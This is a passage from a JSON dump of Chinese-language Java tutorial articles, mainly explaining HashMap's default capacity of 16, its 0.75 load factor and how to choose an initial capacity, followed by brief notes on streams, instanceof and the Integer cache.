size.setAccessible(true);\n        System.out.println(\"size : \" + size.get(map));\n    \n        Field threshold = mapType.getDeclaredField(\"threshold\");\n        threshold.setAccessible(true);\n        System.out.println(\"threshold : \" + threshold.get(map));\n    \n        Field loadFactor = mapType.getDeclaredField(\"loadFactor\");\n        loadFactor.setAccessible(true);\n        System.out.println(\"loadFactor : \" + loadFactor.get(map));\n    \n        map.put(\"hollis13\", \"hollischuang\");\n        Method capacity = mapType.getDeclaredMethod(\"capacity\");\n        capacity.setAccessible(true);\n        System.out.println(\"capacity : \" + capacity.invoke(map));\n    \n        Field size = mapType.getDeclaredField(\"size\");\n        size.setAccessible(true);\n        System.out.println(\"size : \" + size.get(map));\n    \n        Field threshold = mapType.getDeclaredField(\"threshold\");\n        threshold.setAccessible(true);\n        System.out.println(\"threshold : \" + threshold.get(map));\n    \n        Field loadFactor = mapType.getDeclaredField(\"loadFactor\");\n        loadFactor.setAccessible(true);\n        System.out.println(\"loadFactor : \" + loadFactor.get(map));\n    \n\n输出结果：\n\n    capacity : 16\n    size : 12\n    threshold : 12\n    loadFactor : 0.75\n    \n    capacity : 32\n    size : 13\n    threshold : 24\n    loadFactor : 0.75\n    \n\n当HashMap中的元素个数达到13的时候，capacity就从16扩容到32了。\n\nHashMap中还提供了一个支持传入initialCapacity,loadFactor两个参数的方法，来初始化容量和装载因子。不过，一般不建议修改loadFactor的值。\n\n### 总结\n\nHashMap中size表示当前共有多少个KV对，capacity表示当前HashMap的容量是多少，默认值是16，每次扩容都是成倍的。loadFactor是装载因子，当Map中元素个数超过`loadFactor* capacity`的值时，会触发扩容。`loadFactor* capacity`可以用threshold表示。\n\nPS：文中分析基于JDK1.8.0_73\n\n [1]: http://www.hollischuang.com/wp-content/uploads/2018/05/paramInMap.png\n [2]: http://www.hollischuang.com/archives/2091\n"
  },
  {
    "path": "docs/basics/java-basic/hashmap-default-capacity.md",
    "content": "集合是Java开发日常开发中经常会使用到的，而作为一种典型的K-V结构的数据结构，HashMap对于Java开发者一定不陌生。\n\n在日常开发中，我们经常会像如下方式以下创建一个HashMap：\n\n    Map<String, String> map = new HashMap<String, String>();\n    \n\n但是，大家有没有想过，上面的代码中，我们并没有给HashMap指定容量，那么，这时候一个新创建的HashMap的默认容量是多少呢？为什么呢？\n\n本文就来分析下这个问题。\n\n### 什么是容量\n\n在Java中，保存数据有两种比较简单的数据结构：数组和链表。数组的特点是：寻址容易，插入和删除困难；而链表的特点是：寻址困难，插入和删除容易。HashMap就是将数组和链表组合在一起，发挥了两者的优势，我们可以将其理解为链表的数组。\n\n在HashMap中，有两个比较容易混淆的关键字段：size和capacity ，这其中capacity就是Map的容量，而size我们称之为Map中的元素个数。\n\n简单打个比方你就更容易理解了：HashMap就是一个“桶”，那么容量（capacity）就是这个桶当前最多可以装多少元素，而元素个数（size）表示这个桶已经装了多少元素。\n\n![-w778][1]\n\n如以下代码：\n\n    Map<String, String> map = new HashMap<String, String>();\n    map.put(\"hollis\", \"hollischuang\");\n    \n    Class<?> mapType = map.getClass();\n    Method capacity = mapType.getDeclaredMethod(\"capacity\");\n    capacity.setAccessible(true);\n    System.out.println(\"capacity : \" + capacity.invoke(map));\n    \n    Field size = mapType.getDeclaredField(\"size\");\n    size.setAccessible(true);\n    System.out.println(\"size : \" + size.get(map));\n    \n\n输出结果：\n\n    capacity : 16、size : 1\n    \n\n上面我们定义了一个新的HashMap，并想其中put了一个元素，然后通过反射的方式打印capacity和size，其容量是16，已经存放的元素个数是1。\n\n通过前面的例子，我们发现了，当我们创建一个HashMap的时候，如果没有指定其容量，那么会得到一个默认容量为16的Map，那么，这个容量是怎么来的呢？又为什么是这个数字呢？\n\n### 容量与哈希\n\n要想讲清楚这个默认容量的缘由，我们要首先要知道这个容量有什么用？\n\n\n我们知道，容量就是一个HashMap中\"桶\"的个数，那么，当我们想要往一个HashMap中put一个元素的时候，需要通过一定的算法计算出应该把他放到哪个桶中，这个过程就叫做哈希（hash），对应的就是HashMap中的hash方法。\n\n![-w688][2]\n\n我们知道，hash方法的功能是根据Key来定位这个K-V在链表数组中的位置的。也就是hash方法的输入应该是个Object类型的Key，输出应该是个int类型的数组下标。如果让你设计这个方法，你会怎么做？\n\n其实简单，我们只要调用Object对象的hashCode()方法，该方法会返回一个整数，然后用这个数对HashMap的容量进行取模就行了。\n\n如果真的是这么简单的话，那HashMap的容量设置就会简单很多了，但是考虑到效率等问题，HashMap的hash方法实现还是有一定的复杂的。\n\n### hash的实现\n\n接下来就介绍下HashMap中hash方法的实现原理。(下面部分内容参考自我的文章：[全网把Map中的hash()分析的最透彻的文章，别无二家]() 。PS：网上的关于HashMap的hash方法的分析的文章，很多都是在我这篇文章的基础上\"衍生\"过来的。）\n\n具体实现上，由两个方法int hash(Object k)和int indexFor(int h, int length)来实现。\n\n> hash ：该方法主要是将Object转换成一个整型。\n> \n> indexFor ：该方法主要是将hash生成的整型转换成链表数组中的下标。\n\n为了聚焦本文的重点，我们只来看一下indexFor方法。我们先来看下Java 7（Java8中虽然没有这样一个单独的方法，但是查询下标的算法也是和Java 7一样的）中该实现细节：\n\n    static int indexFor(int h, int length) {\n        return h & (length-1);\n    }\n    \n\nindexFor方法其实主要是将hashcode换成链表数组中的下标。其中的两个参数h表示元素的hashcode值，length表示HashMap的容量。那么return h & (length-1) 是什么意思呢？\n\n其实，他就是取模。Java之所有使用位运算(&)来代替取模运算(%)，最主要的考虑就是效率。\n\n> 位运算(&)效率要比代替取模运算(%)高很多，主要原因是位运算直接对内存数据进行操作，不需要转成十进制，因此处理速度非常快。\n\n那么，为什么可以使用位运算(&)来实现取模运算(%)呢？这实现的原理如下：\n\n    X % 2^n = X & (2^n – 1)\n    \n\n假设n为3，则2^3 = 8，表示成2进制就是1000。2^3 -1 = 7 ，即0111。\n\n此时X & (2^3 – 1) 就相当于取X的2进制的最后三位数。\n\n从2进制角度来看，X / 8相当于 X >> 3，即把X右移3位，此时得到了X / 8的商，而被移掉的部分(后三位)，则是X % 8，也就是余数。\n\n上面的解释不知道你有没有看懂，没看懂的话其实也没关系，你只需要记住这个技巧就可以了。或者你可以找几个例子试一下。\n\n    6 % 8 = 6 ，6 & 7 = 6\n    \n    10 % 8 = 2 ，10 & 7 = 2\n    \n\n![][3]\n\n所以，return h & (length-1);只要保证length的长度是2^n 的话，就可以实现取模运算了。\n\n所以，**因为位运算直接对内存数据进行操作，不需要转成十进制，所以位运算要比取模运算的效率更高，所以HashMap在计算元素要存放在数组中的index的时候，使用位运算代替了取模运算。之所以可以做等价代替，前提是要求HashMap的容量一定要是2^n** 。\n\n那么，既然是2^n ，为啥一定要是16呢？为什么不能是4、8或者32呢？\n\n关于这个默认容量的选择，JDK并没有给出官方解释，笔者也没有在网上找到关于这个任何有价值的资料。（如果哪位有相关的权威资料或者想法，可以留言交流）\n\n根据作者的推断，这应该就是个经验值（Experience Value），既然一定要设置一个默认的2^n 作为初始值，那么就需要在效率和内存使用上做一个权衡。这个值既不能太小，也不能太大。\n\n太小了就有可能频繁发生扩容，影响效率。太大了又浪费空间，不划算。\n\n所以，16就作为一个经验值被采用了。\n\n> 在JDK 8中，关于默认容量的定义为：static final int DEFAULT_INITIAL_CAPACITY = 1 << 4; // aka 16 ，其故意把16写成1<<4，就是提醒开发者，这个地方要是2的幂。值得玩味的是：注释中的 **aka 16** 也是1.8中新增的，\n\n那么，接下来我们再来谈谈，HashMap是如何保证其容量一定可以是2^n 的呢？如果用户自己设置了的话又会怎么样呢？\n\n关于这部分，HashMap在两个可能改变其容量的地方都做了兼容处理，分别是指定容量初始化时以及扩容时。\n\n### 指定容量初始化\n\n当我们通过HashMap(int initialCapacity)设置初始容量的时候，HashMap并不一定会直接采用我们传入的数值，而是经过计算，得到一个新值，目的是提高hash的效率。(1->1、3->4、7->8、9->16)\n\n> 在JDK 1.7和JDK 1.8中，HashMap初始化这个容量的时机不同。JDK 1.8中，在调用HashMap的构造函数定义HashMap的时候，就会进行容量的设定。而在JDK 1.7中，要等到第一次put操作时才进行这一操作。\n\n看一下JDK是如何找到比传入的指定值大的第一个2的幂的：\n\n    int n = cap - 1;\n    n |= n >>> 1;\n    n |= n >>> 2;\n    n |= n >>> 4;\n    n |= n >>> 8;\n    n |= n >>> 16;\n    return (n < 0) ? 1 : (n >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : n + 1;\n    \n\n上面的算法目的挺简单，就是：根据用户传入的容量值（代码中的cap），通过计算，得到第一个比他大的2的幂并返回。\n\n![][4]\n\n请关注上面的几个例子中，蓝色字体部分的变化情况，或许你会发现些规律。5->8、9->16、19->32、37->64都是主要经过了两个阶段。\n\n> Step 1，5->7\n> \n> Step 2，7->8\n> \n> Step 1，9->15\n> \n> Step 2，15->16\n> \n> Step 1，19->31\n> \n> Step 2，31->32\n\n对应到以上代码中，Step1：\n\n    n |= n >>> 1;\n    n |= n >>> 2;\n    n |= n >>> 4;\n    n |= n >>> 8;\n    n |= n >>> 16;\n    \n\n对应到以上代码中，Step2：\n\n    return (n < 0) ? 1 : (n >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : n + 1;\n    \n\nStep 2 比较简单，就是做一下极限值的判断，然后把Step 1得到的数值+1。\n\nStep 1 怎么理解呢？其实是对一个二进制数依次向右移位，然后与原值取或。其目的对于一个数字的二进制，从第一个不为0的位开始，把后面的所有位都设置成1。\n\n随便拿一个二进制数，套一遍上面的公式就发现其目的了：\n\n    1100 1100 1100 >>>1 = 0110 0110 0110\n    1100 1100 1100 | 0110 0110 0110 = 1110 1110 1110\n    1110 1110 1110 >>>2 = 0011 1011 1011\n    1110 1110 1110 | 0011 1011 1011 = 1111 1111 1111\n    1111 1111 1111 >>>4 = 1111 1111 1111\n    1111 1111 1111 | 1111 1111 1111 = 1111 1111 1111\n    \n\n通过几次无符号右移和按位或运算，我们把1100 1100 1100转换成了1111 1111 1111 ，再把1111 1111 1111加1，就得到了1 0000 0000 0000，这就是大于1100 1100 1100的第一个2的幂。\n\n好了，我们现在解释清楚了Step 1和Step 2的代码。就是可以把一个数转化成第一个比他自身大的2的幂。\n\n但是还有一种特殊情况套用以上公式不行，这些数字就是2的幂自身。如果数字4套用公式的话。得到的会是 8，不过其实这个问题也被解决了，具体验证办法及JDK的解决方案见[全网把Map中的hash()分析的最透彻的文章，别无二家]()，这里就不再展开了。\n\n总之，HashMap根据用户传入的初始化容量，利用无符号右移和按位或运算等方式计算出第一个大于该数的2的幂。\n\n### 扩容\n\n除了初始化的时候会指定HashMap的容量，在进行扩容的时候，其容量也可能会改变。\n\nHashMap有扩容机制，就是当达到扩容条件时会进行扩容。HashMap的扩容条件就是当HashMap中的元素个数（size）超过临界值（threshold）时就会自动扩容。\n\n在HashMap中，threshold = loadFactor * capacity。\n\nloadFactor是装载因子，表示HashMap满的程度，默认值为0.75f，设置成0.75有一个好处，那就是0.75正好是3/4，而capacity又是2的幂。所以，两个数的乘积都是整数。\n\n对于一个默认的HashMap来说，默认情况下，当其size大于12(16*0.75)时就会触发扩容。\n\n下面是HashMap中的扩容方法(resize)中的一段：\n\n    if ((newCap = oldCap << 1) < MAXIMUM_CAPACITY &&\n                     oldCap >= DEFAULT_INITIAL_CAPACITY)\n        newThr = oldThr << 1; // double threshold\n    }\n    \n\n从上面代码可以看出，扩容后的table大小变为原来的两倍，这一步执行之后，就会进行扩容后table的调整，这部分非本文重点，省略。\n\n可见，当HashMap中的元素个数（size）超过临界值（threshold）时就会自动扩容，扩容成原容量的2倍，即从16扩容到32、64、128 ...\n\n所以，通过保证初始化容量均为2的幂，并且扩容时也是扩容到之前容量的2倍，所以，保证了HashMap的容量永远都是2的幂。\n\n### 总结\n\nHashMap作为一种数据结构，元素在put的过程中需要进行hash运算，目的是计算出该元素存放在hashMap中的具体位置。\n\nhash运算的过程其实就是对目标元素的Key进行hashcode，再对Map的容量进行取模，而JDK 的工程师为了提升取模的效率，使用位运算代替了取模运算，这就要求Map的容量一定得是2的幂。\n\n而作为默认容量，太大和太小都不合适，所以16就作为一个比较合适的经验值被采用了。\n\n为了保证任何情况下Map的容量都是2的幂，HashMap在两个地方都做了限制。\n\n首先是，如果用户制定了初始容量，那么HashMap会计算出比该数大的第一个2的幂作为初始容量。\n\n另外，在扩容的时候，也是进行成倍的扩容，即4变成8，8变成16。\n\n本文，通过分析为什么HashMap的默认容量是16，我们深入HashMap的原理，分析了下背后的原理，从代码中我们可以发现，JDK 的工程师把各种位运算运用到了极致，想尽各种办法优化效率。值得我们学习！\n\n\n [1]: http://www.hollischuang.com/wp-content/uploads/2019/12/15757045632047.jpg\n [2]: http://www.hollischuang.com/wp-content/uploads/2019/12/15757046756201.jpg\n [3]: http://www.hollischuang.com/wp-content/uploads/2019/12/15757021130494.jpg\n [4]: http://www.hollischuang.com/wp-content/uploads/2019/12/15757032518207.jpg"
  },
  {
    "path": "docs/basics/java-basic/hashmap-default-loadfactor.md",
    "content": "在Java基础中，集合类是很关键的一块知识点，也是日常开发的时候经常会用到的。比如List、Map这些在代码中也是很常见的。\n\n个人认为，关于HashMap的实现，JDK的工程师其实是做了很多优化的，要说所有的JDK源码中，哪个类埋的彩蛋最多，那我想HashMap至少可以排前五。\n\n也正是因为如此，很多细节都容易被忽视，今天我们就来关注其中一个问题，那就是：\n\n为什么HashMap的负载因子设置成0.75，而不是1也不是0.5？这背后到底有什么考虑？\n\n大家千万不要小看这个问题，因为负载因子是HashMap中很重要的一个概念，也是高端面试的一个常考点。\n\n另外，这个值得设置，有些人会用错的，比如前几天我的《阿里巴巴Java开发手册建议创建HashMap时设置初始化容量，但是多少合适呢？》这篇文章中，就有读者这样回复：\n\n![-w356][1]￼\n\n![-w375][2]￼\n\n既然有人会尝试着去修改负载因子，那么到底改成1是不是合适呢？为什么HashMap不使用1作为负载因子的默认值呢？\n\n### 什么是loadFactory\n\n首先我们来介绍下什么是负载因子（loadFactory），如果读者对这部分已经有了解，那么可以直接跨过这一段。\n\n我们知道，第一次创建HashMap的时候，就会指定其容量（如果未显示指定，默认是16，详见[为啥HashMap的默认容量是16？][3]），那随着我们不断的向HashMap中put元素的时候，就有可能会超过其容量，那么就需要有一个扩容机制。\n\n所谓扩容，就是扩大HashMap的容量:\n\n    void addEntry(int hash, K key, V value, int bucketIndex) {\n        if ((size >= threshold) && (null != table[bucketIndex])) {\n            resize(2 * table.length);\n            hash = (null != key) ? hash(key) : 0;\n            bucketIndex = indexFor(hash, table.length);        }\n        createEntry(hash, key, value, bucketIndex);\n    }\n\n\n从代码中我们可以看到，在向HashMap中添加元素过程中，如果 `元素个数（size）超过临界值（threshold）` 的时候，就会进行自动扩容（resize），并且，在扩容之后，还需要对HashMap中原有元素进行rehash，即将原来通中的元素重新分配到新的桶中。\n\n在HashMap中，临界值（threshold） = 负载因子（loadFactor） * 容量（capacity）。\n\nloadFactor是装载因子，表示HashMap满的程度，默认值为0.75f，也就是说默认情况下，当HashMap中元素个数达到了容量的3/4的时候就会进行自动扩容。（详见[HashMap中傻傻分不清楚的那些概念][4]）\n\n### 为什么要扩容\n\n\n还记得前面我们说过，HashMap在扩容到过程中不仅要对其容量进行扩充，还需要进行rehash！所以，这个过程其实是很耗时的，并且Map中元素越多越耗时。\n\nrehash的过程相当于对其中所有的元素重新做一遍hash，重新计算要分配到哪个桶中。\n\n那么，有没有人想过一个问题，既然这么麻烦，为啥要扩容？HashMap不是一个数组链表吗？不扩容的话，也是可以无限存储的呀。为啥要扩容？\n\n这其实和哈希碰撞有关。\n\n#### 哈希碰撞\n\n我们知道，HashMap其实是底层基于哈希函数实现的，但是哈希函数都有如下一个基本特性：根据同一哈希函数计算出的散列值如果不同，那么输入值肯定也不同。但是，根据同一散列函数计算出的散列值如果相同，输入值不一定相同。\n\n两个不同的输入值，根据同一散列函数计算出的散列值相同的现象叫做碰撞。\n\n衡量一个哈希函数的好坏的重要指标就是发生碰撞的概率以及发生碰撞的解决方案。\n\n而为了解决哈希碰撞，有很多办法，其中比较常见的就是链地址法，这也是HashMap采用的方法。详见[全网把Map中的hash()分析的最透彻的文章，别无二家。][5]\n\nHashMap将数组和链表组合在一起，发挥了两者的优势，我们可以将其理解为链表的数组。\n\n![-w648][6]￼\n\nHashMap基于链表的数组的数据结构实现的\n\n我们在向HashMap中put元素的时候，就需要先定位到是数组中的哪条链表，然后把这个元素挂在这个链表的后面。\n\n当我们从HashMap中get元素的时候，也是需要定位到是数组中的哪条链表，然后再逐一遍历链表中的元素，直到查找到需要的元素为止。\n\n可见，HashMap通过链表的数组这种结构，解决了hash冲突的问题。\n\n但是，如果一个HashMap中冲突太高，那么数组的链表就会退化为链表。这时候查询速度会大大降低。\n\n![-w773][7]￼\n\n所以，为了保证HashMap的读取的速度，我们需要想办法尽量保证HashMap的冲突不要太高。\n\n#### 扩容避免哈希碰撞\n\n那么如何能有效的避免哈希碰撞呢？\n\n我们先反向思维一下，你认为什么情况会导致HashMap的哈希碰撞比较多？\n\n无外乎两种情况：\n\n1、容量太小。容量小，碰撞的概率就高了。狼多肉少，就会发生争抢。\n\n2、hash算法不够好。算法不合理，就可能都分到同一个或几个桶中。分配不均，也会发生争抢。\n\n所以，解决HashMap中的哈希碰撞也是从这两方面入手。\n\n这两点在HashMap中都有很好的体现。两种方法相结合，**在合适的时候扩大数组容量，再通过一个合适的hash算法计算元素分配到哪个数组中，就可以大大的减少冲突的概率。就能避免查询效率低下的问题。**\n\n### 为什么默认loadFactory是0.75\n\n至此，我们知道了loadFactory是HashMap中的一个重要概念，他表示这个HashMap最大的满的程度。\n\n为了避免哈希碰撞，HashMap需要在合适的时候进行扩容。那就是当其中的元素个数达到临界值的时候，而这个临界值前面说过和loadFactory有关，换句话说，设置一个合理的loadFactory，可以有效的避免​哈希冲突。\n\n那么，到底loadFactory设置成多少算合适呢？\n\n这个值现在在JDK的源码中是0.75:\n\n    /**\n     * The load factor used when none specified in constructor.\n     */\n    static final float DEFAULT_LOAD_FACTOR = 0.75f;\n\n\n那么，为什么选择0.75呢？背后有什么考虑？为什么不是1，不是0.8？不是0.5，而是0.75呢？\n\n在JDK的官方文档中，有这样一段描述描述：\n\n> As a general rule, the default load factor (.75) offers a good tradeoff between time and space costs. Higher values decrease the space overhead but increase the lookup cost (reflected in most of the operations of the HashMap class, including get and put).\n\n大概意思是：一般来说，默认的负载因子(0.75)在时间和空间成本之间提供了很好的权衡。更高的值减少了空间开销，但增加了查找成本(反映在HashMap类的大多数操作中，包括get和put)。\n\n试想一下，如果我们把负载因子设置成1，容量使用默认初始值16，那么表示一个HashMap需要在\"满了\"之后才会进行扩容。\n\n那么在HashMap中，最好的情况是这16个元素通过hash算法之后分别落到了16个不同的桶中，否则就必然发生哈希碰撞。而且随着元素越多，哈希碰撞的概率越大，查找速度也会越低。\n\n#### 0\\.75的数学依据\n\n另外，我们可以通过一种数学思维来计算下这个值是多少合适。​\n\n我们假设一个bucket空和非空的概率为0.5，我们用s表示容量，n表示已添加元素个数。\n\n用s表示添加的键的大小和n个键的数目。根据二项式定理，桶为空的概率为:\n\n    P(0) = C(n, 0) * (1/s)^0 * (1 - 1/s)^(n - 0)\n\n\n因此，如果桶中元素个数小于以下数值，则桶可能是空的：\n\n    log(2)/log(s/(s - 1))\n\n\n当s趋于无穷大时，如果增加的键的数量使P(0) = 0.5，那么n/s很快趋近于log(2):\n\n    log(2) ~ 0.693...\n\n\n所以，合理值大概在0.7左右。\n\n当然，这个数学计算方法，并不是在Java的官方文档中体现的，我们也无从考察到底有没有这层考虑，就像我们根本不知道鲁迅写文章时候怎么想的一样，只能推测。这个推测来源于Stack Overflor（https://stackoverflow.com/questions/10901752/what-is-the-significance-of-load-factor-in-hashmap）\n\n#### 0\\.75的必然因素\n\n理论上我们认为负载因子不能太大，不然会导致大量的哈希冲突，也不能太小，那样会浪费空间。\n\n通过一个数学推理，测算出这个数值在0.7左右是比较合理的。\n\n那么，为什么最终选定了0.75呢？\n\n还记得前面我们提到过一个公式吗，就是`临界值（threshold） = 负载因子（loadFactor） * 容量（capacity）`。\n\n我们在《[为啥HashMap的默认容量是16？][3]》中介绍过，根据HashMap的扩容机制，他会保证capacity的值永远都是2的幂。\n\n那么，为了保证`负载因子（loadFactor） * 容量（capacity）`的结果是一个整数，这个值是0.75(3/4)比较合理，因为这个数和任何2的幂乘积结果都是整数。\n\n### 总结\n\nHashMap是一种K-V结构，为了提升其查询及插入的速度，底层采用了链表的数组这种数据结构实现的。\n\n但是因为在计算元素所在的位置的时候，需要使用hash算法，而HashMap采用的hash算法就是链地址法。这种方法有两个极端。\n\n如果HashMap中哈希冲突概率高，那么HashMap就会退化成链表（不是真的退化，而是操作上像是直接操作链表），而我们知道，链表最大的缺点就是查询速度比较慢，他需要从表头开始逐一遍历。\n\n所以，为了避免HashMap发生大量的哈希冲突，所以需要在适当的时候对其进行扩容。\n\n而扩容的条件是元素个数达到临界值时。HashMap中临界值的计算方法：\n\n    临界值（threshold） = 负载因子（loadFactor） * 容量（capacity）\n\n\n其中负载因子表示一个数组可以达到的最大的满的程度。这个值不宜太大，也不宜太小。\n\nloadFactory太大，比如等于1，那么就会有很高的哈希冲突的概率，会大大降低查询速度。\n\nloadFactory太小，比如等于0.5，那么频繁扩容，就会大大浪费空间。\n\n所以，这个值需要介于0.5和1之间。根据数学公式推算。这个值在log(2)的时候比较合理。\n\n另外，为了提升扩容效率，HashMap的容量（capacity）有一个固定的要求，那就是一定是2的幂。\n\n所以，如果loadFactor是3/4的话，那么和capacity的乘积结果就可以是一个整数。\n\n所以，一般情况下，我们不建议修改loadFactory的值，除非特殊原因。\n\n比如我明确的知道我的Map只存5个kv，并且永远不会改变，那么可以考虑指定loadFactory。\n\n但是其实我也不建议这样用。我们完全可以通过指定capacity达到这样的目的。详见[为啥HashMap的默认容量是16？][3]\n\n参考资料：\n\nhttps://stackoverflow.com/questions/10901752/what-is-the-significance-of-load-factor-in-hashmap\n\nhttps://docs.oracle.com/javase/6/docs/api/java/util/HashMap.html\n\nhttps://preshing.com/20110504/hash-collision-probabilities/\n\n [1]: http://www.hollischuang.com/wp-content/uploads/2020/02/15823434481444.jpg\n [2]: http://www.hollischuang.com/wp-content/uploads/2020/02/15823434784570.jpg\n [3]: http://www.hollischuang.com/archives/4320\n [4]: http://www.hollischuang.com/archives/2416\n [5]: http://www.hollischuang.com/archives/2091\n [6]: http://www.hollischuang.com/wp-content/uploads/2020/02/15823447916666.jpg\n [7]: http://www.hollischuang.com/wp-content/uploads/2020/02/15823459128857.jpg\n"
  },
  {
    "path": "docs/basics/java-basic/hashmap-init-capacity.md",
    "content": "集合是Java开发日常开发中经常会使用到的，而作为一种典型的K-V结构的数据结构，HashMap对于Java开发者一定不陌生。\n\n关于HashMap，很多人都对他有一些基本的了解，比如他和hashtable之间的区别、他和concurrentHashMap之间的区别等。这些都是比较常见的，关于HashMap的一些知识点和面试题，想来大家一定了熟于心了，并且在开发中也能有效的应用上。\n\n但是，作者在很多次 CodeReview 以及面试中发现，有一个比较关键的小细节经常被忽视，那就是HashMap创建的时候，要不要指定容量？如果要指定的话，多少是合适的？为什么？\n\n### 要设置HashMap的初始化容量\n\n在《[HashMap中傻傻分不清楚的那些概念][1]》中我们曾经有过以下结论：\n\n> HashMap有扩容机制，就是当达到扩容条件时会进行扩容。HashMap的扩容条件就是当HashMap中的元素个数（size）超过临界值（threshold）时就会自动扩容。在HashMap中，threshold = loadFactor * capacity。\n\n所以，如果我们没有设置初始容量大小，随着元素的不断增加，HashMap会发生多次扩容，而HashMap中的扩容机制决定了每次扩容都需要重建hash表，是非常影响性能的。\n\n所以，首先可以明确的是，我们建议开发者在创建HashMap的时候指定初始化容量。并且《阿里巴巴开发手册》中也是这么建议的：\n\n![][2]￼\n\n### HashMap初始化容量设置多少合适\n\n那么，既然建议我们集合初始化的时候，要指定初始值大小，那么我们创建HashMap的时候，到底指定多少合适呢？\n\n有些人会自然想到，我准备塞多少个元素我就设置成多少呗。比如我准备塞7个元素，那就new HashMap(7)。\n\n**但是，这么做不仅不对，而且以上方式创建出来的Map的容量也不是7。**\n\n因为，当我们使用HashMap(int initialCapacity)来初始化容量的时候，HashMap并不会使用我们传进来的initialCapacity直接作为初始容量。\n\n**JDK会默认帮我们计算一个相对合理的值当做初始容量。所谓合理值，其实是找到第一个比用户传入的值大的2的幂。**\n\n也就是说，当我们new HashMap(7)创建HashMap的时候，JDK会通过计算，帮我们创建一个容量为8的Map；当我们new HashMap(9)创建HashMap的时候，JDK会通过计算，帮我们创建一个容量为16的Map。\n\n**但是，这个值看似合理，实际上并不尽然。因为HashMap在根据用户传入的capacity计算得到的默认容量，并没有考虑到loadFactor这个因素，只是简单机械的计算出第一个大约这个数字的2的幂。**\n\n> loadFactor是负载因子，当HashMap中的元素个数（size）超过 threshold = loadFactor * capacity时，就会进行扩容。\n\n也就是说，如果我们设置的默认值是7，经过JDK处理之后，HashMap的容量会被设置成8，但是，这个HashMap在元素个数达到 8*0.75 = 6的时候就会进行一次扩容，这明显是我们不希望见到的。\n\n那么，到底设置成什么值比较合理呢？\n\n这里我们可以参考JDK8中putAll方法中的实现的，这个实现在guava（21.0版本）也被采用。\n\n这个值的计算方法就是：\n\n    return (int) ((float) expectedSize / 0.75F + 1.0F);\n    \n\n比如我们计划向HashMap中放入7个元素的时候，我们通过expectedSize / 0.75F + 1.0F计算，7/0.75 + 1 = 10 ,10经过JDK处理之后，会被设置成16，这就大大的减少了扩容的几率。\n\n> 当HashMap内部维护的哈希表的容量达到75%时（默认情况下），会触发rehash，而rehash的过程是比较耗费时间的。所以初始化容量要设置成expectedSize/0.75 + 1的话，可以有效的减少冲突也可以减小误差。（大家结合这个公式，好好理解下这句话）\n\n**所以，我们可以认为，当我们明确知道HashMap中元素的个数的时候，把默认容量设置成expectedSize / 0.75F + 1.0F 是一个在性能上相对好的选择，但是，同时也会牺牲些内存。**\n\n这个算法在guava中有实现，开发的时候，可以直接通过Maps类创建一个HashMap：\n\n    Map<String, String> map = Maps.newHashMapWithExpectedSize(7);\n    \n\n其代码实现如下：\n\n    public static <K, V> HashMap<K, V> newHashMapWithExpectedSize(int expectedSize) {\n        return new HashMap(capacity(expectedSize));\n    }\n    \n    static int capacity(int expectedSize) {\n        if (expectedSize < 3) {\n            CollectPreconditions.checkNonnegative(expectedSize, \"expectedSize\");\n            return expectedSize + 1;\n        } else {\n            return expectedSize < 1073741824 ? (int)((float)expectedSize / 0.75F + 1.0F) : 2147483647;\n        }\n    }\n    \n\n但是，**以上的操作是一种用内存换性能的做法，真正使用的时候，要考虑到内存的影响。**但是，大多数情况下，我们还是认为内存是一种比较富裕的资源。\n\n但是话又说回来了，有些时候，我们到底要不要设置HashMap的初识值，这个值又设置成多少，真的有那么大影响吗？其实也不见得！\n\n可是，大的性能优化，不就是一个一个的优化细节堆叠出来的吗？\n\n再不济，以后你写代码的时候，使用Maps.newHashMapWithExpectedSize(7);的写法，也可以让同事和老板眼前一亮。\n\n或者哪一天你碰到一个面试官问你一些细节的时候，你也能有个印象，或者某一天你也可以拿这个出去面试问其他人~！啊哈哈哈。\n\n [1]: http://www.hollischuang.com/archives/2416\n [2]: http://www.hollischuang.com/wp-content/uploads/2019/12/15756974111211.jpg\n"
  },
  {
    "path": "docs/basics/java-basic/input-stream-vs-output-stream.md",
    "content": "输入、输出，有一个参照物，参照物就是存储数据的介质。如果是把对象读入到介质中，这就是输入。从介质中向外读数据，这就是输出。\n\n所以，输入流是把数据写入存储介质的。输出流是从存储介质中把数据读取出来。\n"
  },
  {
    "path": "docs/basics/java-basic/instanceof-in-java.md",
    "content": "instanceof 是 Java 的一个二元操作符，类似于 ==，>，< 等操作符。\n\ninstanceof 是 Java 的保留关键字。它的作用是测试它左边的对象是否是它右边的类的实例，返回 boolean 的数据类型。\n\n以下实例创建了 displayObjectClass() 方法来演示 Java instanceof 关键字用法：\n\n    public static void displayObjectClass(Object o) {\n      if (o instanceof Vector)\n         System.out.println(\"对象是 java.util.Vector 类的实例\");\n      else if (o instanceof ArrayList)\n         System.out.println(\"对象是 java.util.ArrayList 类的实例\");\n      else\n        System.out.println(\"对象是 \" + o.getClass() + \" 类的实例\");\n   }"
  },
  {
    "path": "docs/basics/java-basic/integer-cache.md",
    "content": "英文原文：[Java Integer Cache][1] 翻译地址：[Java中整型的缓存机制][2] 原文作者：[Java Papers][3] 翻译作者：[Hollis][4] 转载请注明出处。\n\n本文将介绍Java中Integer的缓存相关知识。这是在Java 5中引入的一个有助于节省内存、提高性能的功能。首先看一个使用Integer的示例代码，从中学习其缓存行为。接着我们将为什么这么实现以及他到底是如何实现的。你能猜出下面的Java程序的输出结果吗。如果你的结果和真正结果不一样，那么你就要好好看看本文了。\n\n    package com.javapapers.java;\n    \n    public class JavaIntegerCache {\n        public static void main(String... strings) {\n    \n            Integer integer1 = 3;\n            Integer integer2 = 3;\n    \n            if (integer1 == integer2)\n                System.out.println(\"integer1 == integer2\");\n            else\n                System.out.println(\"integer1 != integer2\");\n    \n            Integer integer3 = 300;\n            Integer integer4 = 300;\n    \n            if (integer3 == integer4)\n                System.out.println(\"integer3 == integer4\");\n            else\n                System.out.println(\"integer3 != integer4\");\n    \n        }\n    }\n    \n\n我们普遍认为上面的两个判断的结果都是false。虽然比较的值是相等的，但是由于比较的是对象，而对象的引用不一样，所以会认为两个if判断都是false的。在Java中，`==`比较的是对象引用，而`equals`比较的是值。所以，在这个例子中，不同的对象有不同的引用，所以在进行比较的时候都将返回false。奇怪的是，这里两个类似的if条件判断返回不同的布尔值。\n\n上面这段代码真正的输出结果：\n\n    integer1 == integer2\n    integer3 != integer4\n    \n\n## Java中Integer的缓存实现\n\n在Java 